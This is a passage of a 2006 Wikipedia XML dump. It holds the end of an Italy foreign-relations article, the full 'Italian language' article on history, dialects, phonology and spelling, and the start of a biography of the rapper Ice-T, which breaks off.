==Illicit drugs==
[[United States]] authorities allege [[Italy]] is an important gateway for and consumer of [[Latin American]] [[cocaine]] and Southwest [[Asia]]n [[heroin]] entering the [[Europe]]an market

[[Category:Foreign relations of Italy| ]]
[[Category:Foreign relations by country|Italy, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Italian language</title>
    <id>14708</id>
    <revision>
      <id>42083406</id>
      <timestamp>2006-03-03T18:40:34Z</timestamp>
      <contributor>
        <ip>82.54.223.100</ip>
      </contributor>
      <comment>/* Writing system */</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Italian
|nativename=Italiano
|region=[[Italy]] and 29 other countries
|speakers=70 million
|rank=19-20 native (in a near tie with [[Urdu]])
|familycolor=Indo-European
|fam2=[[Italic languages|Italic]]
|fam3=[[Romance languages|Romance]]
|fam4=[[Italo-Western languages|Italo-Western]]
|fam5=[[Italo-Dalmatian languages|Italo-Dalmatian]]
|nation=[[Italy]], [[European Union]], [[Switzerland]], [[San Marino]], [[Slovenia]] (regional language), [[Vatican City]], [[Istria county]] of [[Croatia]]
|agency=[[Accademia della Crusca]]
|iso1=it|iso2=ita|iso3=ita}}

'''Italian''' (''{{Audio|It-italiano.ogg|italiano}}'', or ''lingua italiana'') is a [[Romance languages|Romance language]] spoken by about 70 million people primarily in [[Italy]]. Standard Italian is based on [[Tuscany|Tuscan]] [[dialect|dialects]] and is somewhat intermediate between the languages of [[Mezzogiorno|Southern Italy]] and the Gallo-Romance languages of the North.  Like many languages written using the [[Latin alphabet]], Italian has double consonants. However, contrary to, for example, [[French language|French]] and [[Spanish language|Spanish]], double [[consonant]]s are pronounced as long ([[gemination|geminated]]) in Italian. As in most [[Romance languages]] (with the notable exception of French), [[stress (linguistics)|stress]] is distinctive. Out of the Romance languages, Italian is generally considered to be the one most closely resembling [[Latin]] in terms of [[vocabulary]], though [[Romanian language|Romanian]] most closely preserves the grammar of Classical [[Latin]] while [[Sardinian language|Sardinian]]  is the most conservative in terms of phonology.

==History==

The history of the Italian language is quite complex but the modern standard of the language was largely shaped by relatively recent events. The earliest surviving texts which can definitely be called Italian (as opposed to its predecessor [[Vulgar Latin]]) are legal formulae from the region of Benevento dating from A.D. 960-963.  Italian was first formalized in the first years of the [[14th century]] through the works of [[Dante Alighieri]], who mixed southern Italian dialects, especially [[Sicilian language|Sicilian]], with his native Tuscan in his epic poems known collectively as the ''[[Divine Comedy|Commedia]],'' to which [[Boccaccio]] later affixed the title ''Divina''.  Dante's much-loved works were read throughout Italy and his written dialect became the canonical standard that others could all understand. Dante is still credited with standardizing the Italian language.
 
Italian has always had a distinctive dialect for each city, since the cities were up until recently [[city-state]]s.  A well-known Italian dictum has it that the best spoken Italian is ''lingua toscana in bocca romana'' - 'the Tuscan tongue, in a Roman mouth' (Tuscan dialects spoken with Roman inflection). The Romans are known for speaking clearly and distinctly, while the Tuscan dialect (supposedly influenced by [[Etruscan language|Etruscan]] and [[Oscan language|Oscan]]), is the closest existing dialect to Dante's now-standard Italian.

In contrast to the dialects of northern Italy, the older southern Italian dialects were largely untouched by the Franco-[[Occitan language|Occitan]] influences introduced to Italy, mainly by [[bard]]s from [[France]], during the middle ages. (See [[La Spezia-Rimini Line]].)
The economic might and relative advanced development of [[Tuscany]] at the time (late middle ages), gave its dialect weight, though Venetian remained widespread in medieval Italian commercial life. Also, the increasing cultural relevance of [[Florence, Italy|Florence]] during the periods of '[[Umanesimo]]' and [[Renaissance|Rinascimento (Renaissance)]]  made its ''vulgare'' (dialect) a standard in the arts.

==Classification==

Italian is most closely related to the other two [[Italo-Dalmatian languages]], [[Sicilian language|Sicilian]] and the extinct [[Dalmatian language|Dalmatian]]. The three are part of the [[Italo-Western languages|Italo-Western]] grouping of the [[Romance languages]], which are a subgroup of the [[Italic languages|Italic]] branch of [[Indo-European language family|Indo-European]].

==Geographic distribution==

Italian is the official language of [[Italy]] and [[San Marino]], and is an official language in [[Canton Ticino|Ticino]] and [[Graubünden|Grigioni]] cantons of [[Switzerland]]. It is also the second official language in [[Vatican City]] and in some areas of [[Istria]] in [[Slovenia]] and [[Croatia]] with an Italian minority. It is also widely known and taught in [[Monaco]] and in the 
nearby island of [[Malta]]; it served as an official language of the country until English was enshrined in the [[1934]] Constitution. It is widely used also in [[France]] ([[Corsica]] and [[Nice]]) and in [[Albania]].

It is widely used by immigrant groups in [[Luxembourg]], [[Germany]], [[Belgium]], the [[United States]], [[Canada]], [[Venezuela]], [[Brazil]], [[El Salvador]], [[Argentina]], and [[Australia]], and is also spoken in nearby [[Albania]]. It is spoken, to a much lesser extent, in parts of [[Africa]] formerly under Italian rule such as [[Somalia]], [[Libya]] and [[Eritrea]].

Italian is widely taught in many schools around the world, but rarely as the first non-native language of pupils. In anglophone parts of [[Canada]], Italian is, after [[French language|French]], the second most taught language. In the [[United States]] and the [[United Kingdom]], Italian ranks fourth (after [[Spanish language|Spanish]]-French-[[German language|German]] and French-German-Spanish respectively). Throughout the world, Italian is the fifth most taught non-native language, after [[English language|English]], French, Spanish and German.

===Official status===

Italian is an official language of [[Italy]], the [[European Union]],  [[San Marino]] and [[Switzerland]]. It is also an official language in the [[Istria County]] ([[Croatia]]) and municipalities of [[Koper]], [[Piran]] and [[Izola]] ([[Slovenia]]).

It is a co-official language in [[Vatican City]] alongside [[Latin]], where it is usually used by the hierarchy of the [[Catholic Church]] as a [[lingua franca]] for internal communication.

===Dialects and regional languages of Italy===
:''See [[Italian dialects]]''

The dialects of Italian identified by the [[Ethnologue]] are [[Tuscan language|Tuscan]], Abruzzese, Pugliese (Apulian), Umbrian, Laziale, Central Marchigiano, Cicolano-Reatino-Aquilano, and Molisan. On the contrary [[Ethnologue]] and the ''Red book on endangered languages'' of [[UNESCO]] consider [[Piemontese language|Piemontese]], [[Lombard language|Lombard]], [[Ligurian language (Romance)|Ligurian]], [[Emiliano-Romagnolo]], [[Venetian language|Venetian]], [[Friulian language|Friulian]], Neapolitan-Calabrian or Tricalabrian  (a range including [[Neapolitan language|Neapolitan]], [[Sicilian language|Sicilian]] and [[Calabrian language|Calabrian]]) and [[Sardinian language|Sardinian]] as regional minority languages, structurally separated from Italian. Most Italians, however, refer to these simply as &quot;dialect&quot;, with the exception of Sardinian and Friulian, which are usually recognized language status in the regions of [[Sardinia]] and [[Friuli-Venezia Giulia]].
Also the [[Corsican language]] has strong similarities to Italian and most linguists consider it as a Tuscany dialect, the closest to modern Italian.

Many of the so-called dialects of Italian spoken around the country are different enough from standard Italian to be considered separate [[language]]s by most [[linguist]]s and some speakers themselves. Thus a distinction can be made between &quot;dialects of (standard) Italian&quot; and &quot;dialects (or languages) of Italy&quot;.

A link to an Italian site with translation features between Italian dialects and Italian: [http://www.dialettando.com]

====Cultural acceptance of dialects====

The dialect of [[Tuscany]] became the basis for what would become the official language of Italy, by way of the famous Tuscan author Dante Alighieri. Dante and other Tuscan poets were inspired by the Sicilian [[koine]] wanted by the [[Sicilian School]] under the Holy Roman Emperor [[Frederick II]]. His project (in which [[Giacomo da Lentini]] invented the [[sonnet]]) was accomplished by enriching the [[Sicilian language]] with new words adapted from French, Latin, and Apulian. The Sicilians produced a collection of love-poems which can be considered the first standard Italian ever produced, though it was only used for literary purposes until [[Guittone d'Arezzo]]. When the Svevs dynasty ended the Tuscans and Dante re-discovered it (see ''De Vulgari Eloquentia'' and ''Vita Nova'')and integrated the Sicilians into Florence's linguistic heritage. 

The ''[[dolce stil novo]],'' the platonic school of courtly love, can be considered the link between the old southern school and Tuscan poetry which aimed to express the new intellectual sensibility and fervor of the newly-born city-states, as Florence. Dante's work, ''Divina Commedia'' was the first of its kind to be written in a dialect (though sensibly enriched compared with its spoken counterpart), as opposed to the traditional Latin. The success of his work spread the Florentine dialect, and gave it prestige and acceptance. For this he is referred to as the father of the Italian Language. 

By the time Italy was unified [[1861]], the Italian standard had further been influenced by Florentine through the work of the [[Accademia della Crusca]] (Cardinal [[Pietro Bembo]] and followers). Bembo laid the foundation for what is today's modern standard. But Bembo was a purist and had accepted no other influence than that from Dante, Petrarca and Boccaccio. As time went on, the language was losing touch with linguistic change, and could not put up with technology and science. The much-needed update would have to wait a little longer until, in what is commonly regarded as the first modern novel of the Italian literature, [[The Betrothed|''I Promessi Sposi'']] (The Betrothed), [[Alessandro Manzoni]] further refined his widely read novel by &quot;rinsing&quot; it in the waters of the [[Arno]] ([[Florence]]'s river), as he states in his 1840 Preface. 

However, Manzoni refused the Crusca's purist, written Florentine-only attitude and admitted a certain influence from other dialects, though he reduced it as compared to the first edition of ([[1821]]). After unification the huge number of civil servants and soldiers recruited from all over the country introduced many more words and idioms from their home dialects (&quot;ciao&quot; is Venetian, &quot;panettone&quot; is Milanese etc.), in fact confirming Manzoni's linguistic views.

Tuscan has thus become one of the twenty official dialects of Italy. Though technically speaking the division between dialect and language is purely conventional, it has been used by scholars (e.g., by Francesco Bruni) to distinguish between the languages that made up the Italian ''[[koine]],'' and those which had very little or no part in it, as [[Albanian language|Albanian]], [[Greek language|Greek]], [[Südtirolean language|Südtirolean]], [[Ladino language|Ladino]], [[Friulian language|Friulian]] and [[Occitan language|Occitan]], which are still spoken by small minorities.  

Dialects are generally not used for general communication (e.g., on TV), but are limited to native speakers in informal contexts. Dialect is often deprecated  as a sign of poor education. Younger generations, especially those under 35 (though it may vary in different areas), speak almost exclusively standard Italian in all situations, usually with local accents.{{fact}}  Different accents can be recognized from various factors: the openness of vowels, the length of the consonants, and influence of the local dialect (for example, ''annà'' for ''andare'' in the area of Rome).

Dialects have their share of enthusiasts, but in most areas of Italy this is a small niche of the population. The promotion of dialects by political forces such as the [[Lega Nord]] has possibly damaged rather than promoted their status.  Throughout Italy, some singers and actors use dialects as their language, but the language they use is, in most cases, strongly influenced by Italian.

Dialects and accents are often used in movies to provide comic relief or to produce stereotypes: northern dialects can be connected to self-made entrepreneurs; a Roman accent is associated with arrogant, simple-minded bullies; Neapolitan reminds of dishonest slackers, or of people living from hand to mouth; and, even in Italy, Sicilian is often associated with the [[Mafia]]. However, many screenwriters also explore the more expressive and spontaneous features of a dialect, often to challenge the common cliches and present a richer, less explored reality.


&lt;!--
no content yet on Derived languages
===Derived languages===
Creoles and other languages that are derived from this language.
--&gt;

==Sounds==
Main Page: [[Italian phonology]]
{{IPA notice}}
&lt;!-- Description of the sound set of the language can include phoneme charts and example words for each phoneme like in [[French language]]. If there is significant discussion here, it is probably best to divide the section into vowels and consonants subsections. --&gt;

===Vowels===

Italian has seven vowel phonemes: {{IPA|/a/}}, {{IPA|/e/}}, {{IPA|/ɛ/}}, {{IPA|/i/}}, {{IPA|/o/}}, {{IPA|/ɔ/}}, {{IPA|/u/}}.  The pairs {{IPA|/e/}}-{{IPA|/ɛ/}} and {{IPA|/o/}}-{{IPA|/ɔ/}} are seldom distinguished in writing and often confused, even though each variety of Italian employs both phonemes consistently. Compare, for example: {{IPA|/per'kɛ/}} (because) and {{IPA|/'senti/}} (you listen), employed by some northern speakers, with {{IPA|/per'ke/}} and {{IPA|/'sɛnti/}}, as pronounced by most central and southern speakers. As a result, the usage is strongly indicative of a person's origin. The standard (Tuscan) usage of these vowels is listed in vocabularies, and employed outside Tuscany mainly by the more educated people, especially actors and (television) journalists.
These are truly different [[phonemes]], however: compare {{IPA|/'peska/}} (fishing) and {{IPA|/'pɛska/}} (peach), both spelled &quot;pesca&quot; ({{Audio|It-pesca.ogg|listen}}). Similarly {{IPA|/'botte/}} (barrel) and {{IPA|/'bɔtte/}} (beatings), both spelled as &quot;botte&quot;, discriminate {{IPA|/o/}} and {{IPA|/ɔ/}} ({{Audio|It-botte-mp.ogg|listen}}).

In general, vowel combinations usually pronounce each vowel separately.  [[Diphthong]]s exist,(e.g. &quot;uo&quot;, &quot;iu&quot;, &quot;ie&quot;, &quot;ai&quot;),  but are limited to the pattern:
(unstressed &quot;u&quot; or &quot;i&quot;, or zero) + (stressed vowel) + (unstressed &quot;u&quot; or &quot;i&quot;, or zero)

The unstressed &quot;u&quot; in a diphthong approximates the English semivowel &quot;w&quot;, the unstressed &quot;i&quot; approximates the semivowel &quot;y&quot;.  E.g.: ''buono'', ''ieri''.
As a semivowel, &quot;j&quot; is an alternate spelling of i, currently obsolete but common until early 20th century and preserved in specific words like &quot;Jesi&quot; (a town) or &quot;Jacopo&quot; (a first name).

[[Triphthong]]s are limited to a diphthong plus an unstressed &quot;i&quot;. (e.g. ''miei'', ''tuoi''.)   Other sequences of three vowels exist (e.g. ''noia'', ''febbraio''), but they are not triphthongs; they consist of a vowel followed by a diphthong.

===Consonants===

Two symbols in a table cell denote the voiceless and voiced consonant, respectively.

{| class=&quot;wikitable&quot;
!
![[bilabial consonant|bilabial]]
![[labiodental consonant|labiodental]]
![[dental consonant|dental]]
![[alveolar consonant|alveolar]]
![[postalveolar consonant|postalveolar]]
![[palatal consonant|palatal]]
![[velar consonant|velar]]
|-
![[plosive consonant|plosive]]
|{{IPA|p}}, {{IPA|b}}
|
|{{IPA|t}}, {{IPA|d}}
|
|
|
|{{IPA|k}}, {{IPA|g}}
|-
![[nasal consonant|nasal]]
|{{IPA|m}}
|
|{{IPA|n}}
|
|
|{{IPA|ɲ}}
|
|-
![[trill consonant|trill]]
|
|
|
|{{IPA|r}}
|
|
|
|-
![[flap consonant|flap]]
|
|
|
|{{IPA|ɾ}}
|
|
|
|-
![[fricative consonant|fricative]]
|
|{{IPA|f}}, {{IPA|v}}
|
|{{IPA|s}}, {{IPA|z}}
|{{IPA|ʃ}}
|
|
|-
![[affricate consonant|affricate]]
|
|
|
|{{IPA|ʦ}}, {{IPA|ʣ}}
|{{IPA|ʧ}}, {{IPA|ʤ}}
|
|
|-
![[lateral consonant|lateral]]
|
|
|
|{{IPA|l}}
|
|{{IPA|ʎ}}
|
|}

The phoneme {{IPA|/n/}} undergoes assimilation when followed by a consonant, e.g., when followed by a velar ({{IPA|/k/}} or {{IPA|/g/}}) it's pronounced {{IPA|[ŋ]}}, etc.

Italian plosives are not [[aspirated]] (unlike in English).  Italian speakers hear the difference as a foreign accent.

Italian has geminate, or double, consonants, which are distinguished by length. Length is distinctive for all [[consonant]]s except for {{IPA|/ʃ/}}, {{IPA|/ʦ/}}, {{IPA|/ʣ/}}, {{IPA|/ʎ/}} {{IPA|/ɲ/}}, which are always geminate, and {{IPA|/z/}} which is always single. 
Geminate plosives and affricates are realized as lengthened closures. Geminate fricatives, nasals, and {{IPA|/l/}} are realized as lengthened [[continuant]]s. Geminate {{IPA|/ɾ/}} is realized as the trill {{IPA|[rr]}}.

===Assimilation===

Italian has few diphthongs, and so most unfamiliar diphthongs heard in foreign words (in particular, those with a first vowel that is not &quot;i&quot; or &quot;u&quot;, or a first vowel that is stressed), will be assimilated as the corresponding [[dieresis]] (i.e., the vowel sounds will be pronounced separately).   Italian [[phonotactics]] don't usually permit words to end on consonants, so foreign words may receive extra terminal vowel sounds.

&lt;!--
===Historical sound changes===

Description of important sound changes in the history of the language. (Maybe this should go under history?)
--&gt;

==Grammar==
''see [[Italian grammar]].''
&lt;!--
==Vocabulary==

This section should contain a discussion of any special features of the vocabulary (or lexicon) of the language, like if it contains a large number of borrowed words or a different sets of words for different politeness levels, taboo groups, etc.
--&gt;

==Writing system==
[[Image:Jon Hawk.jpg|right|thumb|280px|Example of Italian]]
Italian is written using the [[Latin alphabet]]. The letters ''J'', ''K'', ''W'', ''X'' and'' Y'' are not part of the standard Italian alphabet, but are seen in imported words (such as ''jeans'', ''whiskey'', ''taxi''). ''J'' may also appear in many words from different dialects. Each of these foreign letters had an Italian equivalent spelling: ''gi'',  ''ch'', ''u'', ''cs'' or ''s'', and ''i'', but these are now obsolete.

* Italian uses the [[acute accent]] over the letter ''E'' (as in ''perché'', why/because) to indicate a mid-close vowel, and the [[grave accent]] (as in ''tè'', tea) to indicate a mid-open vowel. The [[grave accent]] is also used on letters ''A'', ''I'', ''O'', and ''U'' to mark the stress position when it is on the last letter of a word (for instance ''gioventù'', youth). Typically, the penultimate syllable is stressed. If other syllables are stressed, marking an accent is not mandatory, as is instead done in [[Spanish language|Spanish]], and, in virtually all cases, no accent is marked. In some cases, when the word is ambiguous (as ''principi''), the accent is sometimes marked in order to disambiguate the meaning (in this case, ''príncipi'', princes, or ''princípi'', principles; ''balia'', nurse or ''balìa'', force

* The letter ''H'' is always silent when it begins a word, and is only used to distinguish ''ho'', ''hai'', ''ha'', ''hanno'' (present indicative of ''avere'', to have) from ''o'' (or), ''ai'' (to the), ''a'' (to), ''anno'' (year). ''H'' is otherwise used for some combinations with other letters (see below), but the /h/ sound does not exist in Italian.

* The letter ''Z'' is pronounced {{IPA|/dz/}}, for example: ''Zanzara'' {{IPA|/dzanˈdzara/}} (mosquito), or sometimes {{IPA|/ts/}}, for example: ''Nazione'' {{IPA|/naˈtsione/}} (nation), depending on context, though there are few minimal pairs. The same goes with ''S'', which can be pronounced {{IPA|/s/}} or {{IPA|/z/}}. However, these two phonemes are in complementary distribution everywhere except between two vowels in the same word, and even in such environment there are extremely few minimal pairs, therefore this distinction is being lost in most accents.

* The letters ''C'' and ''G'' are [[affricate]]s: {{IPA|/ʧ/}} as in &quot;chair&quot; and {{IPA|/ʤ/}} as in &quot;gem&quot;, respectively, before the [[front vowel]]s ''I'' and ''E''.  They are pronounced as [[plosive]]s {{IPA|/k/}}, {{IPA|/g/}} (as in &quot;call&quot; and &quot;gall&quot;) otherwise&lt;sup&gt;1&lt;/sup&gt;. But, the normally silent ''H'' is added between ''CI'', ''CE'', ''GI'' or ''GE'' if the consonant is to be a plosive.  For example:

:{| border=2 cellpadding=2
!
|Before back vowel:  plosive
|Before front vowel:  affricate
|With &quot;H&quot;:  plosive
|-
!&quot;C&quot;
|'''cara''' ({{IPA|ˈkara}})
|'''ciao''' ({{IPA|/ˈʧao/}})
|'''chiaro''' ({{IPA|/ˈkjaro/}})
|-
!&quot;G&quot;
|'''gallo''' ({{IPA|/ˈgallo/}})
|'''genere''' ({{IPA|/ˈʤɛnere/}})
|'''ghetto''' ({{IPA|/ˈgetto/}})
|}

:&lt;sup&gt;1&lt;/sup&gt;&lt;font size=-1&gt;(Front/back vowel rules for ''C'' and ''G'' are similar in [[French language|French]], [[Romanian language|Romanian]], and to some extent [[English language|English]] (including [[Old English]]).  [[swedish language|Swedish]] and [[norwegian language|Norwegian]] have similar rules for ''K'' and ''G''.  See also [[palatalization]].)&lt;/font&gt;

* There are two special [[digraph (orthography)|digraphs]] in Italian:  ''GN'' and ''GL''.  ''GN'' is always pronounced {{IPA2|ɲ}} ,for the spanish, between &quot;n&quot; and &quot;e&quot;, and ''GL'' (only in italian) is pronounced {{IPA2|λ}}) palatal lateral consonant (between &quot;l&quot; and &quot;e&quot; long) or but only before i, and never when at the beginning of the word, except in the plural form ''gli'' of the masculine [[definite article]].  (Compare with [[Spanish language|Spanish]] &quot;ñ&quot; and &quot;ll&quot;, [[Portuguese language|Portuguese]] &quot;nh&quot; and &quot;lh&quot;.)

* In general all letters are clearly pronounced, and always in the same way. (The only notable allophonic variations in the pronunciation of phonemes in standard Italian are the assimilation of /n/ before consonants, and vowel length (vowels are long in stressed open syllables, and short elsewhere) &amp;mdash; compare with the enormous number of allophones of the English phoneme /t/. Spelling is clearly phonetic and difficult to mistake given a clear pronunciation.  Exceptions are generally only found in foreign borrowings. There is less [[dyslexia]] than in languages like English.


=== Usage among Younger Generations ===
Some variations in the usage of the writing system may be present in practical use. Most scholars consider these to be mistakes, but they are so common that knowledge of these may be useful to read an Italian text.
* Usage of '''x''' instead of ''per'': this is very common among teenagers and in [[SMS]] abbreviations. Since ''per'' means &quot;to&quot;, &quot;for you&quot; becomes ''x te'', similar to the English ''4 U''. Words containing ''per'' can also have it substituted with ''x'', and once a university student allegedly pronounced the surname of Italian revolutionary [[Nino Bixio]] as ''Biperio'' at an oral exam[http://pacs.unica.it/rassegna/rassegna0905.txt]. ''Perché'' (both &quot;why&quot; and &quot;because&quot;) is often shortened as ''x`''.
* Usage of foreign letters such as ''k'', ''j'' and ''y'', especially in nicknames and SMS language: ''ke'' instead of ''che'', ''Giusy'' instead of ''Giuseppina''. This is curiously mirrored in the usage of ''i'' in English names such as ''Staci'' instead of ''Stacey'', or in the usage of ''c'' in Northern Europe (''Jacob'' instead of ''Jakob''). The letter ''k'' also appears to give words a certain strength and threatening aspect, possibly because it is associated with [[Germany]]. Politician [[Francesco Cossiga]] used to be nicknamed ''Kossiga'' by rioting students as early as 1968, because of his role as minister of internal affairs.
* Accents are often substituted by apostrophes, such as in ''perche''' instead of ''perché''. ''È'' is particularly rare, as it is absent from the Italian keyboard layout. Few are aware of the distinction between grave and acute accents.

==Examples==

*cheers (generic toast): ''cin cin'' {{IPA|}}
*English: ''inglese'' {{IPA|/inˈgleze/}}
*good-bye: ''arrivederci'' {{IPA|/arriveˈdertʃi/}}
*hello: ''ciao'' {{IPA|/ˈtʃao/}} (informal); ''buongiorno'' {{IPA|/bwonˈdʒorno/}} (good morning/good afternoon), ''buonasera'' {{IPA|/bwonaˈsera/}} (good evening)
*Yes: ''sì'' {{IPA|/si/}} 
*No: ''no'' {{IPA|/nɔ/}}
*Sorry: ''scusi'' /{{IPA|ˈskuzi}}/
*Again: ''di nuovo'' /{{IPA|di ˈnwɔvo}}/
*Always: ''sempre'' /{{IPA|ˈsɛmpre}}/
*When: ''quando'' {{IPA|/ˈkwando/}}
*Why? / Because: ''perché'' {{IPA|/per'ke/}} 
*how much?: ''quanto'' {{IPA|/ˈkwanto/}} 
*thank you!: ''grazie!'' {{IPA|/ˈgrattsje/}}
*Bon appetit: ''Buon appetito'' {{IPA|/ˌbwɔn appeˈtito/}}
*you're welcome!: ''prego!'' {{IPA|/ˈprɛgo/}}
*I love you: ''Ti amo'' {{IPA|/ti ˈamo/}}

==Sample texts==

You can hear a recording of [[Dante]]'s [[Divine Comedy]] read by [[Lino Pertile]] at http://etcweb.princeton.edu/dante/pdp/.

'''From the Holy Bible, Luke 2, 1-7'''
(for an English version see http://www.gnpcb.org/esv/search/?q=luke+2)

You can [[Media:It-Vangeli.ogg|listen]] to a rendition of this text as recorded by an Italian native speaker from Milan.

'''2:1''' In quei giorni, un decreto di Cesare Augusto ordinava che si facesse un censimento di tutta la terra. '''2''' Questo primo censimento fu fatto quando Quirino era governatore della Siria. '''3''' Tutti andavano a farsi registrare, ciascuno nella propria città. '''4''' Anche Giuseppe, che era della casa e della famiglia di Davide, dalla città di Nazaret e dalla Galilea si recò in Giudea nella città di Davide, chiamata Betlemme, '''5''' per farsi registrare insieme a Maria, sua sposa, che era incinta. '''6''' Proprio mentre si trovavano lì, venne il tempo per lei di partorire. '''7''' Mise al mondo il suo primogenito, lo avvolse in fasce e lo depose in una mangiatoia, poiché non c'era posto per loro nella locanda.

==See also==
*[[Italian phonology]]
*[[Sicilian School]]
*[[Veronese Riddle]]
*[[Italian grammar]]

==External links==
{{InterWiki|code=it}}
{{Wikibooks}}
{{wiktionarypar|Italian}}
*{{About.com|topic=Italian}}
*[http://www.accademiadellacrusca.it Homepage of the Accademia della Crusca]
*[http://www.ielanguages.com/italian.html Italian Language Tutorial at ielanguages.com]
*[http://www.websters-online-dictionary.org/definition/Italian-english/ Italian English Dictionary] from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
*[http://www.garzantilinguistica.it A free Italian-English Dictionary, Italian Dictionary, and Thesaurus] from Garzanti Linguistica (in Italian, requires free registration)
*[http://www.ethnologue.com/show_language.asp?code=ita Ethnologue report on Italian]
*[http://www.dicts.info/dictlist1.php?k1=53 All free Italian dictionaries]
*[http://www.ilsonline.it/test.html Online italian language test]
*[http://www.eslbase.com/language-exchange/ Language exchange - Practise Italian online]
*[http://italian-language-test.scuolaleonardo.com/ Test your Italian - Free Italian language test]
*[http://academic.brooklyn.cuny.edu/modlang/carasi/site/pageone.html Online Italian language course]
*[http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=8&amp;learn-Italian/ Learn and listen to useful expressions in Italian]
*[http://www.asils.it/ Italian Language schools]
*[http://www.quiz-tree.com/Italian_Vocabulary_main.html Italian Vocabulary Training]

{{Official EU languages}}

[[Category:Italian language|*]]
[[Category:Languages of Italy]]
[[Category:Languages of Switzerland]]
[[Category:Languages of Vatican City]]
[[Category:Languages of San Marino]]
[[Category:Languages of Slovenia]]

[[als:Italienische Sprache]]
[[ar:لغة إيطالية]]
[[bg:Италиански език]]
[[be:Італьянская мова]]
[[br:Italianeg]]
[[ca:Italià]]
[[cs:Italština]]
[[cy:Eidaleg]]
[[da:Italiensk (sprog)]]
[[de:Italienische Sprache]]
[[et:Itaalia keel]]
[[es:Idioma italiano]]
[[eo:Itala lingvo]]
[[eu:Italiera]]
[[fr:Italien]]
[[gl:Lingua italiana]]
[[ko:이탈리아어]]
[[hr:Talijanski jezik]]
[[io:Italiana linguo]]
[[id:Bahasa Italia]]
[[it:Lingua italiana]]
[[he:איטלקית]]
[[kw:Italek]]
[[la:Lingua Italica]]
[[lt:Italų kalba]]
[[li:Italiaans]]
[[hu:Olasz nyelv]]
[[mk:Италијански јазик]]
[[nl:Italiaans]]
[[ja:イタリア語]]
[[no:Italiensk språk]]
[[oc:Italian]]
[[pl:Język włoski]]
[[pt:Língua italiana]]
[[ro:Limba italiană]]
[[rm:Lingua taliana]]
[[ru:Итальянский язык]]
[[sc:Limba italiana]]
[[scn:Lingua taliana]]
[[simple:Italian]]
[[sk:Taliančina]]
[[sl:Italijanščina]]
[[sr:Италијански језик]]
[[fi:Italian kieli]]
[[sv:Italienska]]
[[tl:Wikang Italyano]]
[[th:ภาษาอิตาลี]]
[[vi:Tiếng Ý]]
[[tr:İtalyanca]]
[[zh:意大利语]]</text>
    </revision>
  </page>
  <page>
    <title>Ice T</title>
    <id>14709</id>
    <revision>
      <id>42116278</id>
      <timestamp>2006-03-03T22:52:47Z</timestamp>
      <contributor>
        <username>Epa101</username>
        <id>334731</id>
      </contributor>
      <text xml:space="preserve">[[Image:Ice T.jpg|thumb|Ice T]]
'''Tracy Morrow''' (born [[February 16]], [[1958]] in [[Newark, New Jersey]]), better known as '''Ice-T''' or '''Ice T''', is an [[United States|American]] [[rapping|rapper]], [[singer]], and [[actor]]. He is one of the pioneers of [[gangsta rap]] and was also instrumental in creating [[rapcore]].  His subject matter stands as a mixture between the political awareness of [[Public Enemy]] and the hedonism of [[NWA]].

==Career==

After high school, Ice-T joined the Army and served as a ranger in the 25th Infantry. He did not enjoy the experience explaining &quot;I didn't like total submission to a leader other than myself.&quot; [http://videoeta.com/person/1181] [http://media.www.dailytargum.com/media/paper168/news/2004/02/23/PageOne/IceT-Addresses.Group.Provides.Inspiration-614605.shtml?sourcedomain=www.dailytargum.com&amp;MIIHost=media.collegepublisher.com]

===Musician===
Ice-T started out with other [[West Coast hip hop|West Coast]] rap pioneers such as [[Kid Frost]], [[DJ Flash]], and [[Egyptian Lover]] with [[Electro (music)|Electro]] recordings. Later on, he changed his style and was the first West Coast rapper to be accepted by the [[East Coast rap|East Coast]]. &quot;6'n The Morning&quot; is sometimes seen as the track that triggered the whole [[gangster rap]] movement. It was produced by [[ The Unknown DJ]], who produced electro funk tracks before and went on to produce ''[[Compton's Most Wanted]]''. The song was inspired by [[Schoolly D]]'s &quot;PSK&quot; and became itself the inspiration for [[Eazy E]] and [[N.W.A.]]'s &quot;Boyz N The Hood.&quot;  Ice-T went on to work with [[Afrika Islam]], the man behind the beats on [[1987]]'s ''Rhyme Pays'', [[1988]]'s ''Power'' and [[1989]]'s ''The Iceberg/Freedom of Speech... Just watch what you say''. 

As the title of this third album suggests, Ice-T was from the start not merely a gangster rapper&amp;mdash;although he was one of the driving forces behind the new style&amp;mdash;but also used rap music as a platform for [[social activism|social]] and [[political activism]]; [[Seymour Stein]] called him &quot;the [[Bob Dylan]] of rap.&quot; On &quot;[[Freedom of Speech]],&quot; Ice-T attacked [[Tipper Gore]] for introducing the [[Parental Advisory]] sticker. In [[1991]], Ice T's fourth album, ''[[Original Gangster]]'', came out; including raps about child abuse and drunk driving as well as the theme song from the movie ''[[New Jack City]]'' by [[Mario Van Peebles]], the movie that re-launched Ice's career as an actor. 

In [[1991]], Ice formed the [[rapcore]]/[[crossover]] band [[Body Count]]. Their debut self-titled album contained a song called &quot;[[Cop Killer]].&quot; which led to the [[Cop Killer controversy]].  This escalated to the point where death threats were sent to Warner Bros executives and stockholders threatened to pull out of the company. This eventually caused the album to be re-issued with &quot;Cop Killer&quot; removed, and [[Warner Brothers Records]] to drop him from the label. He answered the controversy by saying the song was written in character, and that &quot;if you believe that I'm a cop killer, you believe [[David Bowie]] is an [[astronaut]].&quot; Indeed, Ice-T has portrayed police officers many times in his acting career. 

[[Virgin Records]] released his next album ''[[Home Invasion]]'' ([[1993]]), a politically-oriented album that featured a new female rapper named [[Grip]] and Ice T's longtime DJ [[Evil E]] as a rapper himself. On ''[[VI - Return of the Real]]'', Ice returned to his gangsta rap roots. His ''[[7th Deadly Sin]]'' ([[1999]]), one of the first records to be distributed via [[mp3]] before appearing in record stores, continued in this vein. 

In [[2000]], Ice-T teamed up with East Coast rap pioneer [[Kool Keith]] from the [[Ultramagnetic MCs]] to form the [[Analog Brothers]], widely considered an artistically successful experiment. The same year also brought ''[[Ice-T's Greatest Hits: The Evidence]]''. More recently, Ice-T formed a new group called SMG (Sex Money and Gunz) with East Coast gangster rappers Smoothe Da Hustler and Trigger The Gambler. 

